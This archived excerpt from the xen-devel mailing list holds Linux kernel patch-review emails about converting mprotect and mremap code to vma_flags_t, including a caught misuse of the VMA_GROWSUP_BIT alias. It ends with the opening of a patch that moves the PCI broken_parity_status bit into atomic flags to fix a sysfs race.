List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783789480;
	bh=+Kwd9D5Wl2KO1Q3Bx8l5+fiMeXu2P1OtbVPUfZ/bfbo=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=k75eMTHbfY5dLiist6X1WccVv3k4otHBJCwIOTe46YBHnqrIF1xmytrUrRJODV0h2
	 NFmVNF/K5+hQkIVW3bv6RCnCkOSV5BteTL51MGqvOw9+FwfCEdTh0lJASD7uVwbR0D
	 7id+6F1QOheKs0/qV7VtYbBBrYuorsecGOcn4P+Aedutt57oKLfai/LPb47xTkHe2v
	 Vxu5p2eAfg3qWGWcIPsPlaAGCDayA6g0QKSaIAbXO2OSh1LdCes8X+y9FM6C+1Eu7H
	 /PK8nbJzJ0+/7/dPZ2uAj/ztBJv5OD5W3R7oCXqO8Y2s8cuPNpie8Ma1uT2vWb6Thl
	 oZYPNvSdCQdnQ==
Date: Sat, 11 Jul 2026 18:04:14 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Lance Yang <lance.yang@linux.dev>, akpm@linux-foundation.org, 
	tsbogend@alpha.franken.de, maddy@linux.ibm.com, mpe@ellerman.id.au, 
	maarten.lankhorst@linux.intel.com, mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, 
	simona@ffwll.ch, l.stach@pengutronix.de, inki.dae@samsung.com, 
	sw0312.kim@samsung.com, kyungmin.park@samsung.com, krzk@kernel.org, 
	peter.griffin@linaro.org, jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, 
	rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com, 
	lumag@kernel.org, lyude@redhat.com, dakr@kernel.org, 
	tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de, andy.yan@rock-chips.com, 
	thierry.reding@kernel.org, mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, baolin.wang@linux.alibaba.com, liam@infradead.org, 
	npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, 
	hughd@google.com, vbabka@kernel.org, rppt@kernel.org, surenb@google.com, 
	mhocko@suse.com, jannh@google.com, pfalcato@suse.de, kees@kernel.org, 
	perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
Message-ID: <alJ3CDR7zTvAv2XL@lucifer>
References: <7ef626d8a12dc742cfc09d080be5dc09850e873a.1782760670.git.ljs@kernel.org>
 <20260701160917.91435-1-lance.yang@linux.dev>
 <akaIfhfbTCAdJm3H@lucifer>
 <DJTOG7IBZKEE.87TLWNXOCHR8@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJTOG7IBZKEE.87TLWNXOCHR8@nvidia.com>
X-purgate-ID: tlsNG-33051d/1783789483-C9558CF4-3FAE962F/0/0
X-purgate-type: clean
X-purgate-size: 5489

On Wed, Jul 08, 2026 at 10:16:15PM -0400, Zi Yan wrote:
> On Thu Jul 2, 2026 at 11:53 AM EDT, Lorenzo Stoakes wrote:
> > On Thu, Jul 02, 2026 at 12:09:17AM +0800, Lance Yang wrote:
> >>
> >> On Mon, Jun 29, 2026 at 08:25:35PM +0100, Lorenzo Stoakes wrote:
> >> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
> >> >throughout the mprotect logic.
> >> >
> >> >Note that we retain the legacy vm_flags_t bit shifting code in
> >> >do_mprotect_key(), deferring a vma_flags_t approach to this for the time
> >> >being.
> >> >
> >> >Additionally update comments to reflect the changes to be consistent.
> >> >
> >> >No functional change intended.
> >> >
> >> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >> >---
> >> > mm/mprotect.c | 16 ++++++++--------
> >> > 1 file changed, 8 insertions(+), 8 deletions(-)
> >> >
> >> >diff --git a/mm/mprotect.c b/mm/mprotect.c
> >> >index 9cbf932b028c..c9504b2a2525 100644
> >> >--- a/mm/mprotect.c
> >> >+++ b/mm/mprotect.c
> >> >@@ -40,7 +40,7 @@
> >> >
> >> > static bool maybe_change_pte_writable(struct vm_area_struct *vma, pte_t pte)
> >> > {
> >> >-	if (WARN_ON_ONCE(!(vma->vm_flags & VM_WRITE)))
> >> >+	if (WARN_ON_ONCE(!vma_test(vma, VMA_WRITE_BIT)))
> >> > 		return false;
> >> >
> >> > 	/* Don't touch entries that are not even readable. */
> >> >@@ -97,7 +97,7 @@ static bool can_change_shared_pte_writable(struct vm_area_struct *vma,
> >> > bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long addr,
> >> > 			     pte_t pte)
> >> > {
> >> >-	if (!(vma->vm_flags & VM_SHARED))
> >> >+	if (!vma_test(vma, VMA_SHARED_BIT))
> >> > 		return can_change_private_pte_writable(vma, addr, pte);
> >> >
> >> > 	return can_change_shared_pte_writable(vma, pte);
> >> >@@ -194,7 +194,7 @@ static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_stru
> >> > {
> >> > 	bool set_write;
> >> >
> >> >-	if (vma->vm_flags & VM_SHARED) {
> >> >+	if (vma_test(vma, VMA_SHARED_BIT)) {
> >> > 		set_write = can_change_shared_pte_writable(vma, ptent);
> >> > 		prot_commit_flush_ptes(vma, addr, ptep, oldpte, ptent, nr_ptes,
> >> > 				       /* idx = */ 0, set_write, tlb);
> >> >@@ -811,8 +811,8 @@ mprotect_fixup(struct vma_iterator *vmi, struct mmu_gather *tlb,
> >> > 		vm_unacct_memory(nrpages);
> >> >
> >> > 	/*
> >> >-	 * Private VM_LOCKED VMA becoming writable: trigger COW to avoid major
> >> >-	 * fault on access.
> >> >+	 * Private VMA_LOCKED_BIT VMA becoming writable: trigger COW to avoid
> >> >+	 * major fault on access.
> >> > 	 */
> >> > 	if (vma_flags_test(&new_vma_flags, VMA_WRITE_BIT) &&
> >> > 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT) &&
> >> >@@ -886,7 +886,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> >> > 			goto out;
> >> > 		start = vma->vm_start;
> >> > 		error = -EINVAL;
> >> >-		if (!(vma->vm_flags & VM_GROWSDOWN))
> >> >+		if (!vma_test(vma, VMA_GROWSDOWN_BIT))
> >> > 			goto out;
> >> > 	} else {
> >> > 		if (vma->vm_start > start)
> >> >@@ -894,7 +894,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> >> > 		if (unlikely(grows & PROT_GROWSUP)) {
> >> > 			end = vma->vm_end;
> >> > 			error = -EINVAL;
> >> >-			if (!(vma->vm_flags & VM_GROWSUP))
> >> >+			if (!vma_test(vma, VMA_GROWSUP_BIT))
> >>
> >> IIUC, should this be
> >>
> >> if (!vma_test_single_mask(vma, VMA_GROWSUP))
> >>
> >> instead?
> >>
> >> #elif defined(CONFIG_PARISC)
> >> #define VM_GROWSUP	INIT_VM_FLAG(GROWSUP)
> >> ...
> >> #ifndef VM_GROWSUP
> >> #define VM_GROWSUP	VM_NONE
> >> ...
> >>
> >> VM_GROWSUP is only defined as GROWSUP on parisc and becomes VM_NONE
> >> elsewhere. But VMA_GROWSUP_BIT is the raw ARCH_1 bit, which is also used
> >> for other arch-specific VMA flags:
> >>
> >> 	DECLARE_VMA_BIT_ALIAS(SAO, ARCH_1),		/* Strong Access Ordering (powerpc) */
> >> 	DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
> >> 	DECLARE_VMA_BIT_ALIAS(SPARC_ADI, ARCH_1),	/* sparc64 */
> >> 	DECLARE_VMA_BIT_ALIAS(ARM64_BTI, ARCH_1),	/* arm64 */
> >> 	DECLARE_VMA_BIT_ALIAS(ARCH_CLEAR, ARCH_1),	/* sparc64, arm64 */
> >> 	DECLARE_VMA_BIT_ALIAS(MAPPED_COPY, ARCH_1),	/* !CONFIG_MMU */
> >>
> >> Other vma_test() changes look fine to me: just fixed INIT_VM_FLAG()
> >> masks matching their VMA_*_BIT :)
> >
> > Thanks you're right, will fix!
> >
> > Again I swear I ran claude on all of this so it's failing me here :)
> >
>
> Is it better to add something like below to avoid misuse these mutually
> exclusive bit aliases?
>
> An example for VMA_GROWSUP_BIT:
>
> #if defined(CONFIG_PARISC)
> DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
> #else
> /* make VMA_GROWSUP_BIT a build bug on */
> #endif

Nah we can't...

>
> Hmm, these VMA_*_BIT are enum items, so the above might not be possible.

...because of this but also this is the canonical definition and we want to use
it for the VMA_xxx form.

> An alternative is to only define them for the corresponding config and
> you will get build errors when trying to use them directly and the
> config is not enabled. Otherwise, misuses like "vma_test(vma,
> VMA_GROWSUP_BIT)" is harder to uncover.

Yeah good idea, I may add a new DECLARE_INTERNAL_VMA_BIT() that gives you
__VMA_xxx_BIT, so nobody makes the obvious mistake and we force uses of safe
VMA_xxx form. Hmm :)

>
>
> --
> Best Regards,
> Yan, Zi
>

Thanks, Lorenzo


From xen-devel-bounces@lists.xenproject.org Sat Jul 11 17:10:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 17:10:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360487.1613339 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wibDK-0008N2-To; Sat, 11 Jul 2026 17:10:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360487.1613339; Sat, 11 Jul 2026 17:10:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wibDK-0008MM-Ps; Sat, 11 Jul 2026 17:10:06 +0000
Received: by outflank-mailman (input) for mailman id 1360487;
 Sat, 11 Jul 2026 17:10:05 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wibDJ-0008BO-LV
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 17:10:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wibDI-009LgX-L6
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 19:10:04 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a5278c2-e002-0a2a0a5209dd-0a2a450590ba-24
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 19:10:04 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a5278eb-4f1d-0a2a45050019-ac6904feb00a-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 19:10:04 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 3878D6111A;
 Sat, 11 Jul 2026 17:10:02 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id CA6F71F000E9;
 Sat, 11 Jul 2026 17:09:44 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783789801;
	bh=AvtNjMXUVGcPIUxCxCfqbdEtpU8jR9HOTGYaAlW6IJ8=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=k3fNhKS66r/p/o8Bc1xI7ewhTioGM5eE5UxTbAfHwiEEG5NZOQoHjazK2cWX+6/SE
	 v+U9r2rkD4VP0CNSplf/nSgPr33pdrLmGKOrJy6x0c8Xsnfudte+l8CuZRkvsJHzhL
	 2xzdkO2v+Q+2PPXWrMuMSvbGqEw9CmT9+ZHMiG1WT8jUC5NdwLiZsm50xu5zeD+/aW
	 zvImcxhwsTnEPAUhEbcG4TpZeBj1kqZVb6dm8VWTrMRJu36W2lybHuDy0lpFg0MMPF
	 ANsT8GKLEgijBVcxkcvqBp+1nPOUHmAwPtV+5/DPz8eLqjTPOJ42AuY6RZqVPq55n+
	 bc2Qco/fVIOQQ==
Date: Sat, 11 Jul 2026 18:09:35 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Zi Yan <ziy@nvidia.com>
Cc: Lance Yang <lance.yang@linux.dev>, akpm@linux-foundation.org, 
	tsbogend@alpha.franken.de, maddy@linux.ibm.com, mpe@ellerman.id.au, 
	maarten.lankhorst@linux.intel.com, mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, 
	simona@ffwll.ch, l.stach@pengutronix.de, inki.dae@samsung.com, 
	sw0312.kim@samsung.com, kyungmin.park@samsung.com, krzk@kernel.org, 
	peter.griffin@linaro.org, jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, 
	rodrigo.vivi@intel.com, tursulin@ursulin.net, robin.clark@oss.qualcomm.com, 
	lumag@kernel.org, lyude@redhat.com, dakr@kernel.org, 
	tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, heiko@sntech.de, andy.yan@rock-chips.com, 
	thierry.reding@kernel.org, mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, baolin.wang@linux.alibaba.com, liam@infradead.org, 
	npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, baohua@kernel.org, 
	hughd@google.com, vbabka@kernel.org, rppt@kernel.org, surenb@google.com, 
	mhocko@suse.com, jannh@google.com, pfalcato@suse.de, kees@kernel.org, 
	perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Message-ID: <alJ4VPr7Igk3SJYt@lucifer>
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org>
 <20260702134947.25189-1-lance.yang@linux.dev>
 <akaJx8Zt8kazlrjq@lucifer>
 <DJTOP760MDDG.2KUSKD8WVVKJ5@nvidia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <DJTOP760MDDG.2KUSKD8WVVKJ5@nvidia.com>
X-purgate-ID: tlsNG-c201ff/1783789804-D8D5012E-9AF9A4ED/0/0
X-purgate-type: clean
X-purgate-size: 1592

On Wed, Jul 08, 2026 at 10:28:00PM -0400, Zi Yan wrote:
> On Thu Jul 2, 2026 at 12:07 PM EDT, Lorenzo Stoakes wrote:
> > On Thu, Jul 02, 2026 at 09:49:47PM +0800, Lance Yang wrote:
> >>
> >> On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
> >> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
> >> >throughout the mremap logic.
> >> >
> >> >Additionally update comments to reflect the changes to be consistent.
> >> >
> >> >No functional change intended.
> >> >
> >> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >> >---
> >>
> >> The vm_flags_set() cases below spell out vma_start_write(), but the
> >> vm_flags_clear() cases don't?
> >
> > Yep as I said elsewhere, implicitly taking the lock is terrible and me doing
> > this is completely on purpose to get rid of that :)
> >
> > But I haven't been clear enough clearly, so I should put the argument as to why
> > that's ok in the commit message.
> >
> > Will do so on respin.
>
> How about also add a comment to vma_clear*() telling us a lock is not
> needed and why like you explained a lock is needed for vma_set*()?
> This asymmetry could confuse people.

Well you do absolutely have to hold the lock once the VMA is initialised when
using any VMA flags API that manipulates flags (apart from the explicitly atomic
case).

The argument here is that the VMA was _already locked_ at the point of clearing
:)

>
> This patch looks good to me.
>
> Reviewed-by: Zi Yan <ziy@nvidia.com>

Thanks!

>
> --
> Best Regards,
> Yan, Zi
>

Cheers, Lorenzo


From xen-devel-bounces@lists.xenproject.org Sat Jul 11 18:35:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 11 Jul 2026 18:35:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360381.1613364 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXP-0002ZS-8e; Sat, 11 Jul 2026 18:34:55 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360381.1613364; Sat, 11 Jul 2026 18:34:55 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wicXP-0002Yu-3B; Sat, 11 Jul 2026 18:34:55 +0000
Received: by outflank-mailman (input) for mailman id 1360381;
 Sat, 11 Jul 2026 15:21:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wiZWR-0001Hc-Hv
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 15:21:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiZWQ-0094fa-V6
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 17:21:42 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f4c-5cb7-0a2a0a5109dd-0a2a4504d3c0-10
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:42 +0200
Received: from [80.241.56.172] (helo=mout-p-202.mailbox.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <mhi@mailbox.org>)
 id 6a525f86-b1e5-0a2a45040019-50f138acc4a2-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 17:21:42 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org [10.196.197.102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-202.mailbox.org (Postfix) with ESMTPS id 4gyC9208hBzMlFY;
 Sat, 11 Jul 2026 17:21:42 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783302;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=5zGD2166erzzmBrOUSjlgc7V6NcBK4nb2itQnBTjxms=;
	b=ksoqK/zj+BidOqeAJJ7EKT02ziVUZdAZpUvhJMwQtSmRWjSq9Enio2FtjUZVXyDQeKcPS9
	tz3EEt5kqcm2UE7WJdYDM3b+KpBAVSFgo0g3D5mBCTAgfgfn5uP25Y5c2Om8YP0zHfM12z
	cTtb5RUpNqORLbagExvL5rRh5ClAY9dGm+PNTYbSKo32vko5Z12zm2a9Smho1qpekhzHJP
	uzV29wf7UQtMAkvXzHuC0UQ1Fhw09TFGSpBly6QMQVskI/ENe8Tf4ouU54ZEFFTBXOU5Wb
	dU/uMxvi3O5dII+fFRTJDMNJ6tw022Ppk5aZ0NZNabs/Rxu2ksDW/Y48+ev3Ew==
From: Maurice Hieronymus <mhi@mailbox.org>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1783783300;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=5zGD2166erzzmBrOUSjlgc7V6NcBK4nb2itQnBTjxms=;
	b=Y9yDTbzUH5iQ+rWrMO26z0OIS3g+EqRjCkPCiekugHNCtM7hSviYHk68Cm/Xegt23h7q78
	WyQla1TBoqMmPXMPzpLAKJF1spAjJXMQ7ucmmcjPMC+tglQFyfu8TAEBTLKANlbEyyZNse
	xVN5Xf0BaS7yqkcpaFBbqTghqEybETOdS+VFYqsaZNrGvG06kQVhEK0pyytE3pStJkBp3r
	yYH8zCv/wVf3PmL5YByhmUTOpaKMZGZYEBodK+ddHvtw+rHGcLgXRyfBX/cMV4ZB3CE9Nl
	oVA1frLCK+jSksHMfitUChWECby6KcNDEFsVc/6uJaCeoPpBH16kWBQ82HjtTA==
Date: Sat, 11 Jul 2026 17:21:07 +0200
Subject: [PATCH 2/2] PCI: Replace pci_dev->broken_parity_status with
 accessors
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-pci-dev-flags-v1-2-2fcf2811138c@mailbox.org>
References: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
In-Reply-To: <20260711-pci-dev-flags-v1-0-2fcf2811138c@mailbox.org>
To: Edward Cree <ecree.xilinx@gmail.com>, 
 Andrew Lunn <andrew+netdev@lunn.ch>, 
 "David S. Miller" <davem@davemloft.net>, Eric Dumazet <edumazet@google.com>, 
 Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>, 
 Bjorn Helgaas <bhelgaas@google.com>, Justin Tee <justin.tee@broadcom.com>, 
 Paul Ely <paul.ely@broadcom.com>, 
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>, 
 "Martin K. Petersen" <martin.petersen@oracle.com>, 
 Juergen Gross <jgross@suse.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>, 
 Miguel Ojeda <ojeda@kernel.org>, Boqun Feng <boqun@kernel.org>, 
 Gary Guo <gary@garyguo.net>, 
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, 
 Benno Lossin <lossin@kernel.org>, Andreas Hindborg <a.hindborg@kernel.org>, 
 Alice Ryhl <aliceryhl@google.com>, Trevor Gross <tmgross@umich.edu>, 
 Daniel Almeida <daniel.almeida@collabora.com>, 
 Tamir Duberstein <tamird@kernel.org>, 
 Alexandre Courbot <acourbot@nvidia.com>, 
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, 
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>
Cc: Danilo Krummrich <dakr@kernel.org>, rust-for-linux@vger.kernel.org, 
 netdev@vger.kernel.org, linux-net-drivers@amd.com, 
 linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org, 
 linux-scsi@vger.kernel.org, xen-devel@lists.xenproject.org, 
 linux-edac@vger.kernel.org, Maurice Hieronymus <mhi@mailbox.org>
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783783272; l=3918;
 i=mhi@mailbox.org; s=20260525; h=from:subject:message-id;
 bh=dA+p/e0yU5GmI2+843t83Ws3vAPk7ZHcyx+dI89Sz1U=;
 b=2KUtaRPN52gN+DrVoSi0Gx1KvBexgp3rJLmXihe43P4Nxd7ql/LG0mNOPKmJYGQTEluKIkZ/a
 e0xF1urLLB7BZdfXCqB9rBoVHA+cFHOIyMacXK65ieb1QbtT7PbaILy
X-Developer-Key: i=mhi@mailbox.org; a=ed25519;
 pk=AHlEkGG3hpXZHntlEzF42Ip/LFyXWOgsNUvaHqAnV80=
X-MBO-RS-ID: c995304cfe7236ecf3e
X-MBO-RS-META: kw8gscg45gpin8zawfowe9q3as1dmn7e
X-purgate-ID: tlsNG-ebf023/1783783302-7E251FE7-D1A7398A/0/0
X-purgate-type: clean
X-purgate-size: 3920

`broken_parity_status` shares a C bitfield word in `struct pci_dev`
with many other bits. `broken_parity_status_store()` writes it from
sysfs at any time without taking any lock, so userspace can make it
race with every other writer of the same word, e.g. `pci_set_master()`
from a runtime PM resume path, and updates of neighboring bits can be
lost.

Move the bit into the `flags` bitmap modified with atomic bitops,
using the accessor pattern introduced by the previous commit.

Signed-off-by: Maurice Hieronymus <mhi@mailbox.org>
---
 drivers/edac/edac_pci_sysfs.c | 4 ++--
 drivers/pci/pci-sysfs.c       | 4 ++--
 include/linux/pci.h           | 5 ++++-
 3 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/drivers/edac/edac_pci_sysfs.c b/drivers/edac/edac_pci_sysfs.c
index 9f437f648e4e..fadc61235f1f 100644
--- a/drivers/edac/edac_pci_sysfs.c
+++ b/drivers/edac/edac_pci_sysfs.c
@@ -554,7 +554,7 @@ static void edac_pci_dev_parity_test(struct pci_dev *dev)
 	/* check the status reg for errors on boards NOT marked as broken
 	 * if broken, we cannot trust any of the status bits
 	 */
-	if (status && !dev->broken_parity_status) {
+	if (status && !pci_dev_broken_parity_status(dev)) {
 		if (status & (PCI_STATUS_SIG_SYSTEM_ERROR)) {
 			edac_printk(KERN_CRIT, EDAC_PCI,
 				"Signaled System Error on %s\n",
@@ -593,7 +593,7 @@ static void edac_pci_dev_parity_test(struct pci_dev *dev)
 		/* check the secondary status reg for errors,
